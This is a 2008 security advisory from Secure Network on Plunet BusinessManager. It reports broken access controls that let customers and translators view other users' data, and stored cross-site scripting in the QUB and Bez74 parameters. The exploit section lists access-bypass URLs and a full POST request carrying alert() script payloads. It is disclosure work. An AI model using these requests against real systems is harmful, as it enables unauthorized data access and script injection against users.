Plunet BusinessManager failure in access controls and multiple stored cross site scripting

[Matteo Ignaccolo <matteo.ignaccolo@xxxxxxxxxxxxxxxx>]

Secure Network - Security Research Advisory

Vuln name: Failure in Access Controls; multiple Stored Cross Site Scripting 
vulnerabilities.
Systems affected: Plunet BusinessManager
Systems not affected:
Severity: High
Local/Remote: Remote
Vendor URL: http://www.plunet.de
Author(s): Matteo Ignaccolo m.ignaccolo@xxxxxxxxxxxxxxxx - Gabriele Zanoni 
g.zanoni@xxxxxxxxxxxxxxxx
Relates to: 
Vendor disclosure: 23/09/2008
Vendor acknowledged:
Vendor patch release:
Public disclosure: 23/12/2008
Advisory number: SN-2008-04
Advisory URL: http://www.securenetwork.it/advisories/

*** SUMMARY ***

Plunet BusinessManager is a powerful software for traslation companies, that
offers on a single platform a solution to handle customers, traslators, 
document management, data, order management e processing.
Since Plunet BusinessManager suffers of incorrect validation of some input 
forms, Stored Cross Site Scripting attacks are allowed.
Moreover customers and traslators can access data and file not related to 
them.

*** VULNERABILITY DETAILS ***

The application fails to perform a correct access control to data and file.
Any user (Customers and Traslators) colud retrive and alter data and
file not related to him. Also, an user could be easily enumerate all Company
customers.

The application fails to validate QUB and Bez74 parameters, so stored Cross 
Site
Scripting attacks are possible.


*** EXPLOIT ***

An authenticated Customer could use the following URL to access to other
Customers private area.

http://domain/pagesUTF8/Sys_DirAnzeige.jsp?AnzeigeText=&Pfad=/Customer/
<CUSTOMER-ID> 

An authenticated Traslator could use the following URL to access Orders not
related to him

http://domain/pagesUTF8/Sys_DirAnzeige.jsp?AnzeigeText=/PRM&Pfad=/ORDER/
C-00042/PRM

An authenticated traslator could use the following URL to access to Jobs not
related to him

http://domain/pagesUTF8/auftrag_job.jsp?OSG05=1944&anchor=AJob31944 surf jobs

Stored Cross Site Scripting

POST /pagesUTF8/auftrag_allgemeinauftrag.jsp HTTP/1.1
Host: <HOSTNAME> or IP
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) 
Gecko/20080718
Ubuntu/8.04 (hardy) Firefox/2.0.0.16
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,
text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://<hostname or IP>/pagesUTF8/auftrag_allgemeinauftrag.jsp
Cookie: JSESSIONID=0B1347DFFD031E6BC1944C381A31293D
Content-Type: application/x-www-form-urlencoded
Content-Length: 1085

TokenUAID=42&QUK=1449&QUKA=*&QUKANSCH=820&QUKLIEFANSCH=820&QUZ=sample&
VorlageID=3&QU02=1-&QUL=sample&QUB=%22%3E%3Cscript%3Ealert%28%22XSS2%22%29
%3B%3C%2Fscript%3E&QUG=sample&OSPK01=141&OSPK02=0&OSSK05=&OSSK09=1&PJ12=14
&DATAUFTT=07&DATAUFMM=01&DATAUFJJJJ=2008&DATLIEFTT=24&DATLIEFMM=01&
DATLIEFJJJJ=2008&DATLIEFHH=&DATLIEFMN=&PJ13=&
Bez74=%22%3E%3Cscript%3Ealert%28%22XSS4%22%29%3B%3C%2Fscript%3E&
LDate74TT=24&LDate74MM=01&LDate74JJJJ=2008&LDate74HH=13&
LDate74MN=00&BOXP74=4&REA01774=59&REA01874=sample&
OutPE0174=0&OutPAP74=8385&Bem74=sample&REA001=&REA010=&REA007=1&REA008=2&
REA011=0&REA013=0&REA015=0&LEISTung=sample&LangFlag=&exit=&SelectTab=
&ContentBox=&OpenContentBox=&LoginPressed=false&SaveButton=true&
CheckXYZ=Send&yOffsetScroll=0


*** FIX INFORMATION ***

No patch is currently available.

*** WORKAROUNDS ***

No workaround is available, but some application firewalls and IPS can be 
reconfigured to thwart the attack.

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Dott. Ing. Matteo Ignaccolo

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